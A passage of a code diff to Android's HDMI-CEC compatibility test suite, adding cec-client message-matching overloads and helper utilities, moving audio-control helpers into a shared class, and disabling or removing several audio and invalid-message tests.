+        }
+        return destinationAddresses;
+    }
 
     /**
      * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
@@ -264,7 +434,8 @@
      * is not found within the timeout, an exception is thrown.
      */
     public String checkExpectedOutput(CecOperand expectedMessage) throws Exception {
-        return checkExpectedOutput(LogicalAddress.BROADCAST, expectedMessage, DEFAULT_TIMEOUT);
+        return checkExpectedOutput(
+                targetDevice, LogicalAddress.BROADCAST, expectedMessage, DEFAULT_TIMEOUT, false);
     }
 
     /**
@@ -274,7 +445,30 @@
      */
     public String checkExpectedOutput(LogicalAddress toDevice,
                                       CecOperand expectedMessage) throws Exception {
-        return checkExpectedOutput(toDevice, expectedMessage, DEFAULT_TIMEOUT);
+        return checkExpectedOutput(targetDevice, toDevice, expectedMessage, DEFAULT_TIMEOUT, false);
+    }
+
+    /**
+     * Looks for the broadcasted CEC expectedMessage sent from cec-client device fromDevice on the
+     * cec-client communication channel and returns the first line that contains that message within
+     * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
+     */
+    public String checkExpectedMessageFromClient(
+            LogicalAddress fromDevice, CecOperand expectedMessage) throws Exception {
+        return checkExpectedMessageFromClient(
+                fromDevice, LogicalAddress.BROADCAST, expectedMessage);
+    }
+
+    /**
+     * Looks for the CEC expectedMessage sent from cec-client device fromDevice to CEC device
+     * toDevice on the cec-client communication channel and returns the first line that contains
+     * that message within default timeout. If the CEC message is not found within the timeout, an
+     * exception is thrown.
+     */
+    public String checkExpectedMessageFromClient(
+            LogicalAddress fromDevice, LogicalAddress toDevice, CecOperand expectedMessage)
+            throws Exception {
+        return checkExpectedOutput(fromDevice, toDevice, expectedMessage, DEFAULT_TIMEOUT, true);
     }
 
     /**
@@ -284,7 +478,8 @@
      */
     public String checkExpectedOutput(CecOperand expectedMessage,
                                       long timeoutMillis) throws Exception {
-        return checkExpectedOutput(LogicalAddress.BROADCAST, expectedMessage, timeoutMillis);
+        return checkExpectedOutput(
+                targetDevice, LogicalAddress.BROADCAST, expectedMessage, timeoutMillis, false);
     }
 
     /**
@@ -294,13 +489,40 @@
      */
     public String checkExpectedOutput(LogicalAddress toDevice, CecOperand expectedMessage,
                                        long timeoutMillis) throws Exception {
+        return checkExpectedOutput(targetDevice, toDevice, expectedMessage, timeoutMillis, false);
+    }
+
+    /**
+     * Looks for the CEC expectedMessage sent from CEC device fromDevice to CEC device toDevice on
+     * the cec-client communication channel and returns the first line that contains that message
+     * within timeoutMillis. If the CEC message is not found within the timeout, an exception is
+     * thrown. This method looks for the CEC messages coming from Cec-client if fromCecClient is
+     * true.
+     */
+    public String checkExpectedOutput(
+            LogicalAddress fromDevice,
+            LogicalAddress toDevice,
+            CecOperand expectedMessage,
+            long timeoutMillis,
+            boolean fromCecClient)
+            throws Exception {
         checkCecClient();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
-        Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
-                                          "(" + targetDevice + toDevice + "):" +
-                                          "(" + expectedMessage + ")(.*)",
-                                          Pattern.CASE_INSENSITIVE);
+        String direction = fromCecClient ? "<<" : ">>";
+        Pattern pattern =
+                Pattern.compile(
+                        "(.*"
+                                + direction
+                                + ")(.*?)"
+                                + "("
+                                + fromDevice
+                                + toDevice
+                                + "):"
+                                + "("
+                                + expectedMessage
+                                + ")(.*)",
+                        Pattern.CASE_INSENSITIVE);
 
         while ((endTime - startTime <= timeoutMillis)) {
             if (mInputConsole.ready()) {
@@ -323,25 +545,56 @@
      */
     public void checkOutputDoesNotContainMessage(LogicalAddress toDevice,
             CecOperand incorrectMessage) throws Exception {
-        checkOutputDoesNotContainMessage(toDevice, incorrectMessage, DEFAULT_TIMEOUT);
+        checkOutputDoesNotContainMessage(toDevice, incorrectMessage, "", DEFAULT_TIMEOUT);
      }
 
     /**
+     * Looks for the CEC message incorrectMessage along with the params sent to CEC device toDevice
+     * on the cec-client communication channel and throws an exception if it finds the line that
+     * contains the message with its params within the default timeout. If the CEC message is not
+     * found within the timeout, function returns without error.
+     */
+    public void checkOutputDoesNotContainMessage(
+            LogicalAddress toDevice, CecOperand incorrectMessage, String params) throws Exception {
+        checkOutputDoesNotContainMessage(toDevice, incorrectMessage, params, DEFAULT_TIMEOUT);
+    }
+
+    /**
      * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
      * communication channel and throws an exception if it finds the line that contains the message
      * within timeoutMillis. If the CEC message is not found within the timeout, function returns
      * without error.
      */
-    public void checkOutputDoesNotContainMessage(LogicalAddress toDevice, CecOperand incorrectMessage,
-            long timeoutMillis) throws Exception {
+    public void checkOutputDoesNotContainMessage(
+            LogicalAddress toDevice, CecOperand incorrectMessage, long timeoutMillis)
+            throws Exception {
+        checkOutputDoesNotContainMessage(toDevice, incorrectMessage, "", timeoutMillis);
+    }
 
+    /**
+     * Looks for the CEC message incorrectMessage along with the params sent to CEC device toDevice
+     * on the cec-client communication channel and throws an exception if it finds the line that
+     * contains the message and params within timeoutMillis. If the CEC message is not found within
+     * the timeout, function returns without error.
+     */
+    public void checkOutputDoesNotContainMessage(
+            LogicalAddress toDevice, CecOperand incorrectMessage, String params, long timeoutMillis)
+            throws Exception {
         checkCecClient();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
-        Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
-                                          "(" + targetDevice + toDevice + "):" +
-                                          "(" + incorrectMessage + ")(.*)",
-                                          Pattern.CASE_INSENSITIVE);
+        Pattern pattern =
+                Pattern.compile(
+                        "(.*>>)(.*?)"
+                                + "("
+                                + targetDevice
+                                + toDevice
+                                + "):"
+                                + "("
+                                + incorrectMessage
+                                + params
+                                + ")(.*)",
+                        Pattern.CASE_INSENSITIVE);
 
         while ((endTime - startTime <= timeoutMillis)) {
             if (mInputConsole.ready()) {
@@ -356,6 +609,26 @@
         }
      }
 
+    /** Returns the device type that the cec-client has started as. */
+    public LogicalAddress getSelfDevice() {
+        return selfDevice;
+    }
+
+    /** Set the physical address of the cec-client instance */
+    public void setPhysicalAddress(int newPhysicalAddress) throws Exception {
+        String command =
+                String.format(
+                        "pa %02d %02d",
+                        (newPhysicalAddress & 0xFF00) >> 8, newPhysicalAddress & 0xFF);
+        sendConsoleMessage(command);
+        physicalAddress = newPhysicalAddress;
+    }
+
+    /** Get the physical address of the cec-client instance, will return 0xFFFF if uninitialised */
+    public int getPhysicalAddress() {
+        return physicalAddress;
+    }
+
     /**
      * Kills the cec-client process that was created in init().
      */
@@ -379,7 +652,9 @@
             }
         } catch (Exception e) {
             /* If cec-client is not running, do not throw an exception, just return. */
-            CLog.w("Unable to close cec-client", e);
+            CLog.w(new Exception("Unable to close cec-client", e));
         }
     }
+
+    public class CecPortBusyException extends Exception {}
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index c4df53f..a97b478 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -16,6 +16,8 @@
 
 package android.hdmicec.cts;
 
+import java.io.File;
+
 public final class HdmiCecConstants {
 
     private HdmiCecConstants() {}
@@ -62,4 +64,10 @@
 
     // CEC Device property list
     public static final String HDMI_DEVICE_TYPE_PROPERTY = "ro.hdmi.device_type";
+
+    /*
+     * The default name of local directory into which the port to device mapping files are stored.
+     */
+    public static final File CEC_MAP_FOLDER =
+            new File(System.getProperty("java.io.tmpdir"), "cec-cts-temp");
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java
new file mode 100644
index 0000000..cb92093
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/** Helper class to call intents in the HdmiCecControlManagerHelper app */
+public class HdmiControlManagerUtility {
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the main activity in the APK. */
+    private static final String CLASS = "HdmiControlManagerHelper";
+
+    /** The command to launch the main activity. */
+    private static final String START_COMMAND =
+            String.format("am start -n %s/%s.%s -a ", PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the main activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    /**
+     * Method to make a device the active source. Will only work if the DUT is TV.
+     *
+     * @param device Reference to the DUT
+     * @param logicalAddress The logical address of the device that should be made the active source
+     */
+    public static void setActiveSource(ITestDevice device, int logicalAddress)
+            throws DeviceNotAvailableException {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(
+                START_COMMAND
+                        + "android.hdmicec.app.DEVICE_SELECT --ei "
+                        + "\"la\" "
+                        + logicalAddress);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
index a7692f38..7b2c857 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
@@ -17,6 +17,8 @@
 package android.hdmicec.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
@@ -64,6 +66,21 @@
         assertThat(testString).isIn(expectedOutputs);
     }
 
+    /** This method will return the DUT volume. */
+    public static int parseDutVolume(ITestDevice device, String tag) throws Exception {
+        String testString = getLog(device, tag);
+        assertWithMessage("No log from Audio Manager which reports the DUT volume percentage")
+                .that(testString)
+                .isNotEqualTo("");
+        try {
+            String volume = testString.split("at")[1].trim().replaceAll("%", "");
+            return Integer.parseInt(volume);
+        } catch (NumberFormatException e) {
+            throw new NumberFormatException(
+                    "Volume obtained from Audio Manager can" + "not be parsed");
+        }
+    }
+
     public static void assertLogDoesNotContain(ITestDevice device, String tag,
                                                String expectedOutput) throws Exception {
         String testString = getLog(device, tag);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
index 87cded6..70a0666 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
@@ -56,6 +56,10 @@
         return Integer.toString(getDeviceType());
     }
 
+    public int getLogicalAddressAsInt() {
+        return this.address;
+    }
+
     public int getDeviceType() {
         switch (this) {
             case PLAYBACK_1:
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredPropertyRule.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredPropertyRule.java
index f3998adb..8d44bef 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredPropertyRule.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredPropertyRule.java
@@ -16,6 +16,7 @@
 
 package android.hdmicec.cts;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
@@ -99,6 +100,34 @@
             }
         };
     }
+
+    public static RequiredPropertyRule asCsvDoesNotContainsValue(
+            final BaseHostJUnit4Test test, final String propertyName, final String propertyValue) {
+        return new RequiredPropertyRule() {
+            @Override
+            public Statement apply(final Statement base, final Description description) {
+                return new Statement() {
+                    @Override
+                    public void evaluate() throws Throwable {
+                        List<String> deviceProperties =
+                                Arrays.asList(
+                                        getDevicePropertyValue(test, propertyName)
+                                                .replaceAll("\\s+", "")
+                                                .split(","));
+                        assumeFalse(
+                                "The Property "
+                                        + propertyName
+                                        + " = "
+                                        + propertyValue
+                                        + " is expected to not be present in "
+                                        + deviceProperties.toString()
+                                        + " of device "
+                                        + test.getDevice().getSerialNumber(),
+                                deviceProperties.contains(propertyValue));
+                        base.evaluate();
+                    }
+                };
+            }
+        };
+    }
 }
-
-
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index c6f8c09..a8e43d3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -29,12 +29,14 @@
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to test audio return channel control (Section 11.2.17) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 6b349e3..2b43cec 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -33,12 +33,14 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
 
@@ -100,64 +102,6 @@
     }
 
     /**
-     * Test 12-1
-     * Tests that the device ignores every broadcast only message that is received as
-     * directly addressed.
-     */
-    @Test
-    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
-        /* <Set Menu Language> */
-        assumeTrue(isLanguageEditable());
-        final String locale = getSystemLocale();
-        final String originalLanguage = extractLanguage(locale);
-        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
-        try {
-            hdmiCecClient.sendCecMessage(
-                    LogicalAddress.TV,
-                    AUDIO_DEVICE,
-                    CecOperand.SET_MENU_LANGUAGE,
-                    CecMessage.convertStringToHexParams(language));
-            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
-        } finally {
-            // If the language was incorrectly changed during the test, restore it.
-            setSystemLocale(locale);
-        }
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GET_CEC_VERSION> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GET_CEC_VERSION);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.CEC_VERSION);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_PHYSICAL_ADDRESS> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_PHYSICAL_ADDRESS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.REPORT_PHYSICAL_ADDRESS);
-    }
-
-    /**
      * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_AUDIO_STATUS> if received as
      * a broadcast message
@@ -175,55 +119,6 @@
 
     /**
      * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_POWER_STATUS> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_POWER_STATUS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.REPORT_POWER_STATUS);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_DEVICE_VENDOR_ID> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_DEVICE_VENDOR_ID);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.DEVICE_VENDOR_ID);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_OSD_NAME> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_OSD_NAME);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.SET_OSD_NAME);
-    }
-
-    /**
-     * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_SYSTEM_AUDIO_MODE_STATUS> if
      * received as a broadcast message
      */
@@ -308,27 +203,4 @@
                 LogicalAddress.BROADCAST,
                 CecOperand.TERMINATE_ARC);
     }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <USER_CONTROL_PRESSED> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
-        throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND);
-        hdmiCecClient.sendUserControlPressAndRelease(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                HdmiCecConstants.CEC_CONTROL_UP,
-                false);
-        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
-    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 5ee1045..151f5e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -30,12 +30,14 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to verify logical address after device reboot (Section 10.2.5) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index 38eade7e..51f7351 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -27,11 +27,13 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 9733e34..391916f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -21,55 +21,32 @@
 
 import com.google.common.collect.Range;
 
+import android.hdmicec.cts.AudioManagerHelper;
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogHelper;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
-import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
 
 /** HDMI CEC test to test system audio mode (Section 11.2.15) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
 
-    /** The package name of the APK. */
-    private static final String PACKAGE = "android.hdmicec.app";
-
-    /** The class name of the main activity in the APK. */
-    private static final String CLASS = "HdmiCecAudioManager";
-
-    /** The command to launch the main activity. */
-    private static final String START_COMMAND = String.format(
-            "am start -n %s/%s.%s -a ", PACKAGE, PACKAGE, CLASS);
-
-    /** The command to clear the main activity. */
-    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
-
     private static final LogicalAddress AUDIO_DEVICE = LogicalAddress.AUDIO_SYSTEM;
     private static final int ON = 0x1;
     private static final int OFF = 0x0;
-    private static final int MAX_AUDIO_FORMATS = 4;
-    private static final int MAX_VALID_AUDIO_FORMATS = 2;
-
-    private List<Integer> mSupportedAudioFormats = null;
 
     public HdmiCecSystemAudioModeTest() {
         super(AUDIO_DEVICE, "-t", "t");
@@ -83,91 +60,6 @@
             .around(CecRules.requiresDeviceType(this, AUDIO_DEVICE))
             .around(hdmiCecClient);
 
-    private String getRequestSadFormatsParams(boolean sendValidFormats) throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS");
-        mSupportedAudioFormats = LogHelper.getSupportedAudioFormats(getDevice());
-
-        // Create a list of all the audio format codes according to CEA-861-D. Remove the supported
-        // audio format codes from it, to get the unsupported audio format codes.
-        List<Integer> mAllCodecFormats =
-                IntStream.range(1, 15).boxed().collect(Collectors.toList());
-        List<Integer> unsupportedAudioFormats = new ArrayList<>();
-        unsupportedAudioFormats.addAll(mAllCodecFormats);
-        unsupportedAudioFormats.removeAll(mSupportedAudioFormats);
-        // Create params message for REQUEST_SHORT_AUDIO_DESCRIPTOR
-        String messageParams = "";
-        int i = 0;
-        int listIndex = 0;
-        if (sendValidFormats) {
-            while (i < Math.min(MAX_VALID_AUDIO_FORMATS, mSupportedAudioFormats.size())) {
-                messageParams +=
-                        CecMessage.formatParams(mSupportedAudioFormats.get(listIndex), 2);
-                i++;
-                listIndex++;
-            }
-            listIndex = 0;
-        }
-        while (i < Math.min(MAX_AUDIO_FORMATS, unsupportedAudioFormats.size())) {
-            messageParams += CecMessage.formatParams(unsupportedAudioFormats.get(listIndex), 2);
-            i++;
-            listIndex++;
-        }
-        return messageParams;
-    }
-
-    private void muteDevice() throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.MUTE");
-        // The audio device should send <Report Audio Status> message after mute.
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.REPORT_AUDIO_STATUS);
-    }
-
-    private void unmuteDevice() throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.UNMUTE");
-        // The audio device should send <Report Audio Status> message after unmute.
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.REPORT_AUDIO_STATUS);
-    }
-
-    public boolean isDeviceMuted() throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.REPORT_VOLUME");
-        try {
-            LogHelper.assertLog(getDevice(), CLASS, "Device muted.");
-            return true;
-        } catch(Exception e) {
-            return false;
-        }
-    }
-
-    public void setDeviceVolume(int percentVolume) throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + "android.hdmicec.app.SET_VOLUME --ei " +
-                "\"volumePercent\" " + percentVolume);
-    }
-
     public void sendSystemAudioModeTermination() throws Exception {
         hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
                 CecOperand.SYSTEM_AUDIO_MODE_REQUEST);
@@ -220,7 +112,7 @@
 
     @After
     public void resetVolume() throws Exception {
-        setDeviceVolume(20);
+        AudioManagerHelper.setDeviceVolume(getDevice(), 20);
     }
 
     /**
@@ -352,14 +244,16 @@
      */
     @Test
     public void cect_11_2_15_8_HandleUcpMute() throws Exception {
-        unmuteDevice();
+        AudioManagerHelper.unmuteDevice(getDevice(), hdmiCecClient);
         hdmiCecClient.sendCecMessage(LogicalAddress.TV, AUDIO_DEVICE,
                 CecOperand.SYSTEM_AUDIO_MODE_REQUEST,
                 CecMessage.formatParams(HdmiCecConstants.TV_PHYSICAL_ADDRESS,
                     HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
         hdmiCecClient.sendUserControlPressAndRelease(LogicalAddress.TV, AUDIO_DEVICE,
                 HdmiCecConstants.CEC_CONTROL_MUTE, false);
-        assertWithMessage("Device is not muted").that(isDeviceMuted()).isTrue();
+        assertWithMessage("Device is not muted")
+                .that(AudioManagerHelper.isDeviceMuted(getDevice()))
+                .isTrue();
     }
 
     /**
@@ -370,8 +264,8 @@
     @Test
     public void cect_11_2_15_9_ReportAudioStatus_0() throws Exception {
         sendSystemAudioModeInitiation();
-        unmuteDevice();
-        setDeviceVolume(0);
+        AudioManagerHelper.unmuteDevice(getDevice(), hdmiCecClient);
+        AudioManagerHelper.setDeviceVolume(getDevice(), 0);
         int reportedVolume = getDutAudioStatus();
         assertThat(reportedVolume).isAnyOf(0, 128);
     }
@@ -384,8 +278,8 @@
     @Test
     public void cect_11_2_15_9_ReportAudioStatus_50_unmuted() throws Exception {
         sendSystemAudioModeInitiation();
-        unmuteDevice();
-        setDeviceVolume(50);
+        AudioManagerHelper.unmuteDevice(getDevice(), hdmiCecClient);
+        AudioManagerHelper.setDeviceVolume(getDevice(), 50);
         int reportedVolume = getDutAudioStatus();
         /* Allow for a range of volume, since the actual volume set will depend on the device's
         volume resolution. */
@@ -400,8 +294,8 @@
     @Test
     public void cect_11_2_15_9_ReportAudioStatus_100_unmuted() throws Exception {
         sendSystemAudioModeInitiation();
-        unmuteDevice();
-        setDeviceVolume(100);
+        AudioManagerHelper.unmuteDevice(getDevice(), hdmiCecClient);
+        AudioManagerHelper.setDeviceVolume(getDevice(), 100);
         int reportedVolume = getDutAudioStatus();
         assertThat(reportedVolume).isEqualTo(100);
     }
@@ -414,7 +308,7 @@
     @Test
     public void cect_11_2_15_9_ReportAudioStatusMuted() throws Exception {
         sendSystemAudioModeInitiation();
